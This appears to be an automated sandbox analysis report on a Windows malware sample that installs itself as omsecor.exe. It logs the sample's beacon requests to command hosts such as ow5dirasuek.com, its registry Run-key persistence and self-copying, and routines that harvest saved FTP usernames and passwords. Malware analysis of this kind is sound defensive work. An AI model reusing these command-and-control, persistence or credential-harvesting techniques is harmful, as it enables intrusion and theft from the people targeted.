Sep 8, 2024 06:11:30.431056023 CEST	816	IN	HTTP/1.1 200 OK server: nginx/1.18.0 (Ubuntu) date: Sun, 08 Sep 2024 04:11:30 GMT content-type: text/html content-length: 593 last-modified: Wed, 22 Feb 2023 21:25:52 GMT etag: "63f68860-251" accept-ranges: bytes Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 35 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 6e 6f 6a 73 2e 64 6f 6d 61 69 6e 63 6e 74 72 6f 6c 2e 63 6f 6d 22 20 2f 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 20 20 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 6c 65 74 20 72 65 74 72 69 65 73 20 3d 20 33 2c 20 69 6e 74 65 72 76 61 6c 20 3d 20 31 30 30 30 3b 0a 20 20 20 20 28 66 75 6e 63 74 69 6f 6e 20 72 65 74 72 79 28 29 20 7b 0a 20 20 20 20 20 20 66 65 74 63 68 28 22 68 74 74 70 73 3a 2f 2f 64 6f 6d 61 69 6e 63 6e 74 72 6f 6c 2e 63 6f 6d 2f 3f 6f 72 69 67 68 6f 73 74 3d 22 20 2b 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 0a 20 20 20 20 20 20 20 20 2e 74 68 65 6e 28 72 65 73 70 6f 6e 73 65 20 3d 3e 20 72 65 73 70 6f 6e 73 65 2e 6a 73 6f 6e 28 29 29 0a 20 20 20 20 20 20 20 20 2e 74 68 65 6e 28 64 61 74 61 20 3d 3e 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 [TRUNCATED] Data Ascii: <html><head> <meta http-equiv="refresh" content="5;url=https://nojs.domaincntrol.com" /></head><body> <script> let retries = 3, interval = 1000; (function retry() { fetch("https://domaincntrol.com/?orighost=" + window.location.href) .then(response => response.json()) .then(data => window.location.href = data) .catch(error => { if (retries > 0) { retries--; setTimeout(retry, interval); } else { console.error("Error: ", error); } }); })(); </script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49748	52.34.198.229	80	3868	C:\Windows\SysWOW64\omsecor.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 06:11:30.544548988 CEST	297	OUT	GET /968/405.html HTTP/1.1 From: 133702422009751771 Via: hprkjvr_vjwA<19cdsifA:_tfser>6514546cpwB7652bpf}B5:g4<k4;g18>59hdg:d=<7j;34926j26 Host: ow5dirasuek.com Connection: Keep-Alive Cookie: snkz=8.46.123.33; btst=96b9553d4f1c07b4ccb89e66c39fa5d4\|8.46.123.33\|1725768646\|1725768601\|22\|2\|0
Sep 8, 2024 06:11:31.263989925 CEST	337	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 08 Sep 2024 04:11:31 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=96b9553d4f1c07b4ccb89e66c39fa5d4\|8.46.123.33\|1725768691\|1725768601\|33\|3\|0; path=/; domain=.ow5dirasuek.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49749	193.166.255.171	80	564	C:\Windows\SysWOW64\omsecor.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 06:11:31.488007069 CEST	161	OUT	GET /161/343.html HTTP/1.1 From: 133702422009751771 Via: opfcsi{>;56bttA;346_ojzA97f89j88f55=96ghd9h:;;g:71863i63 Host: lousta.net Connection: Keep-Alive

Target ID:	0
Start time:	00:09:36
Start date:	08/09/2024
Path:	C:\Users\user\Desktop\cnzWgjUhS2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\cnzWgjUhS2.exe"
Imagebase:	0x400000
File size:	36'600 bytes
MD5 hash:	10B089F41384787F77A9DE73A9C55E4B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	00:09:36
Start date:	08/09/2024
Path:	C:\Users\user\AppData\Roaming\omsecor.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\omsecor.exe
Imagebase:	0x400000
File size:	36'600 bytes
MD5 hash:	BA4DF80E161C9C58860725AAC02D99E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	00:10:00
Start date:	08/09/2024
Path:	C:\Windows\SysWOW64\omsecor.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\omsecor.exe
Imagebase:	0x400000
File size:	36'600 bytes
MD5 hash:	9AF480E9873460DD811C495A948A78AE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	00:11:30
Start date:	08/09/2024
Path:	C:\Windows\SysWOW64\omsecor.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\omsecor.exe /nomove
Imagebase:	0x400000
File size:	36'600 bytes
MD5 hash:	9AF480E9873460DD811C495A948A78AE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Function 004075D4 Relevance: 22.6, APIs: 15, Instructions: 128filememoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 004075FC
CreateFileW.KERNELBASE(?,C0000000,00000000,00000000,00000002,00000080,00000000), ref: 00407618
GetFileSize.KERNEL32(?,00000000), ref: 0040762E
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00407638
RtlAllocateHeap.NTDLL(00000000), ref: 0040763F
ReadFile.KERNELBASE(?,00000000,00000000,?,00000000), ref: 00407660
WriteFile.KERNELBASE(?,?,00000000,?,00000000), ref: 0040767F
SetFilePointer.KERNELBASE(?,00000000,00000000,00000000), ref: 00407691
ReadFile.KERNELBASE(?,?,00000040,?,00000000), ref: 004076A1
SetFilePointer.KERNELBASE(?,?,00000000,00000000), ref: 004076AF
ReadFile.KERNELBASE(?,?,000000F8,?,00000000), ref: 004076C5
SetFilePointer.KERNELBASE(?,?,00000000,00000000), ref: 004076EF
WriteFile.KERNELBASE(?,?,000000F8,?,00000000), ref: 00407705
FindCloseChangeNotification.KERNELBASE(?), ref: 00407714
CloseHandle.KERNEL32(?), ref: 00407719

Memory Dump Source

Source File: 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1742825866.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000411000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742893910.000000000042B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742905849.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: File$PointerRead$CloseCreateHeapWrite$AllocateChangeFindHandleNotificationProcessSize
String ID:
API String ID: 3476270553-0
Opcode ID: 894f1e02061cece153af19de11902bbae5fe70548c4ece14d410128547cdf08b
Instruction ID: 7ae3b020874f099f6a4231377d147a855b3f50186be4225f3fece46b7b724b47
Opcode Fuzzy Hash: 894f1e02061cece153af19de11902bbae5fe70548c4ece14d410128547cdf08b
Instruction Fuzzy Hash: F0416A71901028BADB209BA2DD48EEFBF7DEF45390F104476F619F21A0D7709A10DB64

Function 0040ABD9 Relevance: 3.0, APIs: 2, Instructions: 26fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0040AC20: RegOpenKeyExW.KERNELBASE(80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,00000000,00000001,00000000,?,?,?, /nomove,?,0040AB30,?), ref: 0040AC44
Part of subcall function 0040AC20: RegOpenKeyExW.KERNELBASE(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,00000000,00000001,00000000,?,?,?, /nomove,?,0040AB30,?), ref: 0040AC72

FindFirstFileW.KERNEL32(?,00000000), ref: 0040AC03
FindClose.KERNEL32(00000000), ref: 0040AC0F

Memory Dump Source

Source File: 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1742825866.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000411000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742893910.000000000042B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742905849.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: FindOpen$CloseFileFirst
String ID:
API String ID: 3155378417-0
Opcode ID: ab3d299b7ad4ae48143099222020c13c56cdbf39ef5f27e8c74799f3a551cc1f
Instruction ID: fa0310e4c65bbc590993533f650c85f5e3ee77ef27cd51fa1c8f473dbf319076
Opcode Fuzzy Hash: ab3d299b7ad4ae48143099222020c13c56cdbf39ef5f27e8c74799f3a551cc1f
Instruction Fuzzy Hash: 5DE0D87160C7044BE220E7B49D0C967B3DCAB45325F000F36A9B6E20C0FA38D46A465F

Function 0040B346 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 153sleepfileCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000400), ref: 0040B36C
GetModuleFileNameW.KERNEL32(00000000,?,00000400), ref: 0040B39D

Part of subcall function 004069FD: RegCreateKeyExW.ADVAPI32(?,?,00000000,00000000,00000000,00020006,00000000,?,?,?,?,?,?,00406AD3,80000001,AppEvents\Schemes\Apps\Explorer\Navigating\.current), ref: 00406A22

GetLastError.KERNEL32(00000004), ref: 0040B3CA
Sleep.KERNEL32(00002710), ref: 0040B3F7
GetModuleFileNameW.KERNEL32(00000000,?,00000400), ref: 0040B413
CopyFileW.KERNEL32(?,?,00000000), ref: 0040B435
ExitProcess.KERNEL32 ref: 0040B44D

Part of subcall function 0040AC20: RegOpenKeyExW.KERNELBASE(80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,00000000,00000001,00000000,?,?,?, /nomove,?,0040AB30,?), ref: 0040AC44
Part of subcall function 0040AC20: RegOpenKeyExW.KERNELBASE(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,00000000,00000001,00000000,?,?,?, /nomove,?,0040AB30,?), ref: 0040AC72

GetLastError.KERNEL32(00000004), ref: 0040B48D
GetLastError.KERNEL32(00000004), ref: 0040B49A
ExpandEnvironmentStringsW.KERNEL32(?,00000400), ref: 0040B4C7
GetModuleFileNameW.KERNEL32(00000000,?,00000400), ref: 0040B4D7
GetLastError.KERNEL32(00000004), ref: 0040B500

Strings

SOFTWARE\Microsoft\Windows\CurrentVersion\Run, xrefs: 0040B3AD
/nomove, xrefs: 0040B4D9
IueiOod, xrefs: 0040B3A8
opeqmc.exe, xrefs: 0040B36E

Memory Dump Source

Source File: 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1742825866.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000411000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742893910.000000000042B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742905849.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: File$ErrorLastModuleName$Open$CopyCreateEnvironmentExitExpandProcessSleepStrings
String ID: /nomove$IueiOod$SOFTWARE\Microsoft\Windows\CurrentVersion\Run$opeqmc.exe
API String ID: 3692109554-477663111
Opcode ID: 135f96d597183bf12dff870bffbdb7f9defbeb34ee59089557ae340a53569a7b
Instruction ID: ccf8aad4361994264e72a39918ed7d53ff083e628d4a69ee62a5d407c68d8035
Opcode Fuzzy Hash: 135f96d597183bf12dff870bffbdb7f9defbeb34ee59089557ae340a53569a7b
Instruction Fuzzy Hash: 8C4127719042186AE710B7A19D46FAB73ACEF04345F14447BBB05F11C2EB789A548AAF

Function 0040AC20 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,00000000,00000001,00000000,?,?,?, /nomove,?,0040AB30,?), ref: 0040AC44
RegOpenKeyExW.KERNELBASE(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,00000000,00000001,00000000,?,?,?, /nomove,?,0040AB30,?), ref: 0040AC72

Part of subcall function 004069C0: RegQueryValueExW.KERNELBASE(?,00000000,00000000,00000000,?,00000000,?,?,?,w,@,00406CB0,Build,w,@), ref: 004069E3
Part of subcall function 004069C0: RegCloseKey.KERNELBASE(?,?,?,?,w,@,00406CB0,Build,w,@), ref: 004069ED

Strings

SOFTWARE\Microsoft\Windows\CurrentVersion\Run, xrefs: 0040AC39, 0040AC3E, 0040AC6C
/nomove, xrefs: 0040AC23
IueiOod, xrefs: 0040AC50, 0040AC82

Memory Dump Source

Source File: 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1742825866.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000411000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742893910.000000000042B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742905849.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: Open$CloseQueryValue
String ID: /nomove$IueiOod$SOFTWARE\Microsoft\Windows\CurrentVersion\Run
API String ID: 3546245721-4228964922
Opcode ID: e183a9483fa9f7ba9bb43204af9f8e84b77f88267b9ccf7be8296576afd26502
Instruction ID: 3bac8edf5f415b784fe4546894dc74dc09b9405a13c640cee1cd261e7a9a2bb6
Opcode Fuzzy Hash: e183a9483fa9f7ba9bb43204af9f8e84b77f88267b9ccf7be8296576afd26502
Instruction Fuzzy Hash: 5F01867265430EFEFF1096919D42F9A736CDB40768F210036FA00B60D1D6B6AE155779

Function 0040AAFD Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

GetCommandLineW.KERNEL32 ref: 0040AB0A
GetModuleFileNameW.KERNEL32(00000000,?,00000820), ref: 0040AB44
CharLowerW.USER32(?), ref: 0040AB57
CharLowerW.USER32(?), ref: 0040AB60

Strings

/nomove, xrefs: 0040AB10

Memory Dump Source

Source File: 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1742825866.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000411000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742893910.000000000042B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742905849.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: CharLower$CommandFileLineModuleName
String ID: /nomove
API String ID: 1338073227-1111986840
Opcode ID: f64901d43a542e62caf56568754323496182aa7e159d48bf7f08474787536f84
Instruction ID: b8029fc6669f79c45f6caaa8ce38406425976cf3cabd4088da44db58d281c6d8
Opcode Fuzzy Hash: f64901d43a542e62caf56568754323496182aa7e159d48bf7f08474787536f84
Instruction Fuzzy Hash: 7CF01D7290022956DB10A7B19C05BDB72ACFF40309F0445B6AA05F2180ED78EA548F95

Function 00407727 Relevance: 6.1, APIs: 4, Instructions: 71COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000400,74DF0900,00000400,00000000,0040B4B3,00000000), ref: 00407744
ExpandEnvironmentStringsW.KERNEL32(?,00000400), ref: 00407784
GetLastError.KERNEL32(00000004), ref: 004077A9

Part of subcall function 004075D4: CreateFileW.KERNELBASE(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 004075FC
Part of subcall function 004075D4: CreateFileW.KERNELBASE(?,C0000000,00000000,00000000,00000002,00000080,00000000), ref: 00407618

Memory Dump Source

Source File: 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1742825866.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000411000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742893910.000000000042B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742905849.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: File$Create$EnvironmentErrorExpandLastModuleNameStrings
String ID:
API String ID: 1536607067-0
Opcode ID: a1b258860002bc12c08fbd9961b7a6ab8b05c7ecdd508c99b624503958201486
Instruction ID: de8f4f1c442ba604be96c6aabbb627c7d922d162aa2fadd5385f895ae0141ebd
Opcode Fuzzy Hash: a1b258860002bc12c08fbd9961b7a6ab8b05c7ecdd508c99b624503958201486
Instruction Fuzzy Hash: AD11E972908249AED720D7A19C81FEB739CFB44354F10483BFB95E30D0E678B945866B

Function 004069C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNELBASE(?,00000000,00000000,00000000,?,00000000,?,?,?,w,@,00406CB0,Build,w,@), ref: 004069E3
RegCloseKey.KERNELBASE(?,?,?,?,w,@,00406CB0,Build,w,@), ref: 004069ED

Strings

w,@, xrefs: 004069C0

Memory Dump Source

Source File: 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1742825866.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000411000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742893910.000000000042B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742905849.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: CloseQueryValue
String ID: w,@
API String ID: 3356406503-3776089593
Opcode ID: 149707b6f704b0206dcd429f7e61dcdc4ff4cc903c0dfabc6e5b0404234ae6db
Instruction ID: 7cb27e63b8b96f7a1a34dd7d249ffcc2d4336ce0f7aa5f451266b78b49120899
Opcode Fuzzy Hash: 149707b6f704b0206dcd429f7e61dcdc4ff4cc903c0dfabc6e5b0404234ae6db
Instruction Fuzzy Hash: DCE06D7A000208BBEF104F94CD09BD97BB9EB44358F208464BA00A6150D67596149B14

Function 004077F0 Relevance: 3.0, APIs: 2, Instructions: 30processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00407800
CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,?,?), ref: 0040781B

Memory Dump Source

Source File: 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1742825866.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000411000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742893910.000000000042B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742905849.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: CreateProcess_memset
String ID:
API String ID: 1177741608-0
Opcode ID: 0cd9a43e4f1b4c0064b4bee2692f9063eedacf03e95d61430481666f95000588
Instruction ID: 3694313203bda926a09df6f19e1a61ce713b6a49f930e6e3ed03be73a1123fdc
Opcode Fuzzy Hash: 0cd9a43e4f1b4c0064b4bee2692f9063eedacf03e95d61430481666f95000588
Instruction Fuzzy Hash: 1DE048B294113876DB20A6E69C0DDDF7F6CDF06694F000121BA0EE50C4E5749608C6F5

Non-executed Functions

Function 004039EA Relevance: 24.7, APIs: 8, Strings: 6, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,00020002), ref: 00403A09
GetPrivateProfileStringW.KERNEL32(00000000,00000000,00000000,00000000,0000FFFF,?), ref: 00403A2C
RtlAllocateHeap.NTDLL(00000008,00000C0C), ref: 00403A55
StrStrIW.SHLWAPI(?,?), ref: 00403ACF
StrStrIW.SHLWAPI(?,?), ref: 00403AE4
GetPrivateProfileStringW.KERNEL32(?,?,00000000,00000000,000000FF,?), ref: 00403AFF
GetPrivateProfileStringW.KERNEL32(?,?,00000000,000001FE,000000FF,?), ref: 00403B20
GetPrivateProfileStringW.KERNEL32(?,?,00000000,?,000000FF,?), ref: 00403B36

Strings

connections, xrefs: 00403A79
password, xrefs: 00403AB8
ftp://%s:%s@%s, xrefs: 00403B50
host, xrefs: 00403A9A
default, xrefs: 00403A8B
username, xrefs: 00403AA9

Memory Dump Source

Source File: 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1742825866.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000411000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742893910.000000000042B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742905849.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: PrivateProfileString$AllocateHeap
String ID: connections$default$ftp://%s:%s@%s$host$password$username
API String ID: 1411386233-3902919163
Opcode ID: df4bb6539310a0437bdb3c8e886131dc25bb36a28de64beaddf8d5a507c10e60
Instruction ID: 106d3b010c48b16868dcb071ba678aa04ac33b338b72d514ced31169f03d36dc
Opcode Fuzzy Hash: df4bb6539310a0437bdb3c8e886131dc25bb36a28de64beaddf8d5a507c10e60
Instruction Fuzzy Hash: A2513D71900109BAEB11EFA5DD41EAEBBBDEF44308F204077E904F6292D775AF068B58

Function 004032B8 Relevance: 22.8, APIs: 9, Strings: 4, Instructions: 86libraryloadermemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00406A68: RegOpenKeyExW.ADVAPI32(80000001,AppEvents\Schemes\Apps\Explorer\Navigating\.current,00000000,00000001,?), ref: 00406A8C

Part of subcall function 00406ADF: RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,00000000,?,?,?,?,004032CE), ref: 00406B2A

GetSystemMetrics.USER32(00000000), ref: 004032E5
GetSystemMetrics.USER32(00000001), ref: 004032ED
VirtualProtect.KERNEL32(75C50B80,0000000A,00000008,?), ref: 00403309
VirtualProtect.KERNEL32(75C50B88,0000000A,?,?), ref: 00403333
SetUnhandledExceptionFilter.KERNEL32(004032AF), ref: 0040333A
LoadLibraryW.KERNEL32(atl), ref: 00403345
GetProcAddress.KERNEL32(00000000,AtlAxWinInit), ref: 0040335D
GetProcAddress.KERNEL32(00000000,AtlAxAttachControl), ref: 0040336A
GetProcAddress.KERNEL32(00000000,AtlAxGetControl), ref: 00403377

Strings

AtlAxAttachControl, xrefs: 0040335F
AtlAxWinInit, xrefs: 00403357
AtlAxGetControl, xrefs: 0040336C
atl, xrefs: 00403340

Memory Dump Source

Source File: 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1742825866.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000411000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742893910.000000000042B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742905849.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: AddressProc$MetricsOpenProtectSystemVirtual$ExceptionFilterLibraryLoadUnhandled
String ID: AtlAxAttachControl$AtlAxGetControl$AtlAxWinInit$atl
API String ID: 3066332896-2664446222
Opcode ID: fe1f50a485c472adffca313bd216073f3c2af1e46121dbe202f23b587a8dcd22
Instruction ID: 61d9a237d914756188f526d52bf2e891562662c8e4878cb3977fb5d3c9d5a9bd
Opcode Fuzzy Hash: fe1f50a485c472adffca313bd216073f3c2af1e46121dbe202f23b587a8dcd22
Instruction Fuzzy Hash: E6212771900390EED3019FBAAD84A5A7FE8EB5B31171545BBE556F32A0C7B80902CB79

Function 0040350F Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 185memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0040821C: PathCombineW.SHLWAPI(?,?,0040EC40,00408268,?,00000000), ref: 0040823C

RtlAllocateHeap.NTDLL(00000008,00020002), ref: 00403566
GetPrivateProfileStringW.KERNEL32(00000000,00000000,00000000,00000000,0000FFFF,?), ref: 0040358A
RtlAllocateHeap.NTDLL(00000008,00000C20), ref: 004035B5
GetPrivateProfileStringW.KERNEL32(?,?,00000000,00000000,000000FF,?), ref: 00403639
GetPrivateProfileIntW.KERNEL32(?,?,00000015,?), ref: 00403653
GetPrivateProfileStringW.KERNEL32(?,?,00000000,?,000000FF,?), ref: 00403681

Strings

pass, xrefs: 00403611
port, xrefs: 004035F1
user, xrefs: 00403601
ftp://%s:%s@%s:%u, xrefs: 004036C3

Memory Dump Source

Source File: 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1742825866.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000411000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742893910.000000000042B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742905849.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: PrivateProfile$String$AllocateHeap$CombinePath
String ID: ftp://%s:%s@%s:%u$pass$port$user
API String ID: 3333933401-2696999094
Opcode ID: 5e129ef3ac38fdb4bd7dae3a7c765ce8d020abefe488821008289a7ec09e8bcb
Instruction ID: ca29095f8650abd3188745a74e72d347e34b1f07fc40ddfd65b33f15b90f053b
Opcode Fuzzy Hash: 5e129ef3ac38fdb4bd7dae3a7c765ce8d020abefe488821008289a7ec09e8bcb
Instruction Fuzzy Hash: D3515FB2104606AFE710EF61DC81EABBBEDEB88304F10493BF554A32D1D735DA058B56

Function 00408248 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 116sleepfilesynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 0040821C: PathCombineW.SHLWAPI(?,?,0040EC40,00408268,?,00000000), ref: 0040823C

FindFirstFileW.KERNEL32(?,?), ref: 00408280
WaitForSingleObject.KERNEL32(?,00000000), ref: 004082A6
PathMatchSpecW.SHLWAPI(0000002E,00000000), ref: 00408310
Sleep.KERNEL32(00000000), ref: 00408342
Sleep.KERNEL32(00000000), ref: 00408377
FindNextFileW.KERNEL32(00000000,00000010), ref: 004083A8
FindClose.KERNEL32(00000000), ref: 004083B9

Strings

5@, xrefs: 0040833F
5@, xrefs: 00408379
., xrefs: 004082CE
., xrefs: 004082B7

Memory Dump Source

Source File: 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1742825866.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000411000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742893910.000000000042B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742905849.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

